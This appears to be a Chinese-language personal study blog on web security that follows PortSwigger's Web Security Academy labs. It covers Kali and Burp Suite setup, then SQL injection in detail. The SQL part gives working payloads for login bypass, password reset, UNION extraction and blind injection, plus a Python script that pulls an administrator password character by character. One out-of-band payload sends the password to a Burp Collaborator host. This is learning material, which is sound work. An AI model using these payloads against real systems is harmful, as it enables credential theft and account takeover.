本文是通过 Learning path | Web Security Academy - PortSwigger 学习web安全的笔记。该站点是 BurpSuite 的官方网站,其创建者是《黑客攻防技术宝典——Web实战篇》(英文名是 The Web Application Hacker’s Handbook)的作者。另外 Kali 官网也有相关的学习资源,不过大多收费(主要是指 Infosec Training & Penetration Testing | Offensive Security)
漏洞平台及 SRC
- 漏洞银行(BUGBANK) 官方网站 | 领先的网络安全漏洞发现品牌 | 开放安全的提出者与倡导者 | 创新的漏洞发现平台
- 补天 - 企业和白帽子共赢的漏洞响应平台,帮助企业建立SRC
- 漏洞盒子 | 互联网安全测试众测平台
- 同舟共测-企业安全响应联盟
- HackerOne | #1 Trusted Security Platform and Hacker Program
- 安全应急工具|网络安全应急响应中心|网络安全工具下载|网络安全工具库|HW工具库
- 阿里安全响应中心
- 全国高校漏洞排行榜 | 教育行业漏洞报告平台
Kali
必要操作:
- 安装中文输入法:
apt update && apt search wubi
。我选择的是ibus-table-wubi
- apt代理:
vim /etc/apt/apt.con.d/proxy.conf
:1 2 3 4
Acquire { HTTP::proxy "http://127.0.0.1:8080"; HTTPS::proxy "http://127.0.0.1:8080"; }
- 桌面系统:xfce。常用快捷键:
- ctrl+alt+left/right:切换桌面
- alt+insert/delete:添加或删除桌面
- ctrl+alt+1-9:切换桌面
- ctrl+alt+d:显示桌面
- alt+f11: 全屏
- clipbord 是xfce插件:可以配置快捷键
super+V
,命令是xfce4-popup-clipman
- 现在的默认shell是
zsh
,可通过/etc/passwd
修改为bash
后重启 - kali应用程序简要浏览,目前比较熟悉的是wireshark, metaploit, burpsuite, nmap, hydra, xfce相关工具
- kali相关资源:
- 官网: 升级换代了许多,更加简单和方便了,尤其是下载和安装,直接下个OVA文件即可
- 文档: 官方文档比较注重于kali本身,其中的各种软件需要去各自的官网查相应的文档
- 论坛: 官方论坛比较靠谱、国内论坛多且乱,曾经访问的kali.org.cn已经无法访问了
- 培训: 有两个是免费的,一个是公开课,另一个是训练场(PG),前者似乎需要加入discord群,现已加入。两者均需要注册offensive security账户
- IRC: 尝试进去但没成功
Burp Suite
学习路线:
- 阅读Getting started with Burp Suite Professional / Community Edition - PortSwigger
- 观看UI简介视频
- 申请 professional 试用:24小时内邮箱里如果没有收到信息就联系hello@portswigger.net
SQL 注入
学习链接:
参考手册:
相关在线工具:
- OneCompiler - Write, run and share code online | Free online compiler with 60+ languages and databases
- Oracle Live SQL
常见例子:
- 获取隐藏数据
- 推翻程序逻辑
- 从其他表里获取数据
- 获取数据库信息
- 盲SQL注入
获取隐藏数据
' or 1=1--
1
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
技巧总结:
- 由于所有类型的数据库均可使用
--
(注意有个空格)来注释,故采用该方式注释比较通用 - 由于
1=1
可能被安全过滤了,所以可以尝试'a'='a'
等方案
推翻程序逻辑
administrator'--
1
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
技巧总结:
- 有的程序登录时先查用户对应的密码,再去比较密码,即类似下面的逻辑:
1 2 3 4 5
... $rows=($conn->query("SELECT username,password FROM user_info WHERE username = '$username'")); $row= $rows->fetch(); if($row['username']==$username &&$row['password']==$password){ ...
这时可以注入 UPDATE 语句来成功登录:
1
admin'; update user_info set password = 'admin' where username = 'admin'--
从其他表里获取数据
UNION攻击
判断有几列
order by
1
2
3
select xxx,xxx from xxx order by 3--
select xxx,xxx from xxx order by 2--
...
union select null,null,...
1
2
3
select xxx,xxx from xxx where xxx='xxx' union select null,null,null--
select xxx,xxx from xxx where xxx='xxx' union select null,null--
...
技巧总结:
- 可以使用二分法以提高效率。不过貌似也不是很有必要
查找有用数据类型的列
1
2
select xxx,xxx from xxx where xxx='xxx' UNION SELECT 'a',NULL--
select xxx,xxx from xxx where xxx='xxx' UNION SELECT NULL,'a'--
获取数据
1
select xxx,xxx from xxx where xxx='xxx' UNION SELECT username, password FROM users--
在一列里获取多个值
1
select xxx from xxx where xxx='xxx' UNION SELECT username || '~' || password FROM users--
获取数据库信息
查询数据库类型和版本
Database type | Query |
---|---|
Microsoft, MySQL | SELECT @@version |
Oracle | SELECT * FROM v$version |
PostgreSQL | SELECT version() |
列出数据库的内容
Database type | Query |
---|---|
Oracle | SELECT * FROM all_tables; SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' |
non-Oracle | SELECT * FROM information_schema.tables; SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |
总结:
- 难点在于需要快速找到关键表格。不要轻易过滤
盲SQL注入
通过触发条件响应
1
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm'
为了提高效率,可以写一个 Python 脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import time
import requests
import urllib.parse
def findNthChar(nth):
# 二分搜索
start = 0
end = 127
while start <= end:
mid = start + (end - start) // 2
if isNthCharLessThanN(nth,mid):
end = mid - 1
else:
start = mid + 1
return start-1
url = 'https://ac361f431ec7648dc0b976a300ca009b.web-security-academy.net'
headers = {
'Cache-Control': 'max-age=0',
'Sec-Ch-Ua': '" Not A;Brand";v="99", "Chromium";v="96"',
'Sec-Ch-Ua-Mobile': '?0',
'Sec-Ch-Ua-Platform': '"Linux"',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Sec-Fetch-Site': 'cross-site',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-User': '?1',
'Sec-Fetch-Dest': 'document',
'Referer': 'https://portswigger.net/',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'en-US,en;q=0.9',
'Connection': 'close'
}
# condition
def isNthCharLessThanN(nth,n):
print(nth,n,end=' ')
cookies = dict(TrackingId="YHenAh8g17AfsSJr' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), {}, 1) < '{}".format(nth, urllib.parse.quote(chr(n), safe='')),session='POuRr019tmTaD9EebjISQ6rSIWxTpsMq')
r = requests.get(url, cookies=cookies, headers=headers)
print('Welcome back' in r.text)
return 'Welcome back' in r.text
res=''
i=1
while(True):
c=findNthChar(i)
if c < 32 or c > 126:
break
res+=chr(c)
print(c,chr(c))
i+=1
print(res)
通过触发 SQL 错误来诱导条件响应
1
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a'
同样可以使用上述 Python 脚本,只需要修改下 isNthCharLessThanN 函数的逻辑:
1
2
3
4
5
6
7
# condition+error
def isNthCharLessThanN2(nth,n):
print(nth,n,end=' ')
cookies = dict(TrackingId=urllib.parse.quote("7kaOekeJMy9ISfWA' and (SELECT CASE WHEN (SUBSTR((SELECT password FROM users WHERE username = 'administrator'), {}, 1) < '{}') THEN to_char(1/0) ELSE 'a' END FROM dual) = 'a".format(nth, chr(n)), safe=''),session='S8DxJU5UXw4ODe0nEn5LqaHayMXGOPwy')
r = requests.get(url, cookies=cookies, headers=headers)
print(r.status_code==500)
return r.status_code==500
通过触发时间延迟
1
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:10'--
同样可以使用上述 Python 脚本,只需要修改下 isNthCharLessThanN 函数的逻辑:
1
2
3
4
5
6
7
8
9
10
11
# condition+time delay
def isNthCharLessThanN3(nth,n):
print(nth,n,end=' ')
cookies = dict(TrackingId=urllib.parse.quote("9hKnWfyWFhsyJxgD';SELECT CASE WHEN (SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), {}, 1) < '{}') THEN pg_sleep(1) ELSE pg_sleep(0) END-- ".format(nth, chr(n)), safe=''),session='BTqJeSxFYlGIrE2mQuhDQ5klckFPxXbU')
start=time.time()
r = requests.get(url, cookies=cookies, headers=headers)
end=time.time()
cost=end-start
timeout=1.5
print(cost,cost>timeout)
return cost>timeout
通过带外(OAST)技术
1
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
该方案因为要求 Burp Suite Professional 版本,而它需要 399 $/年,所以就没有尝试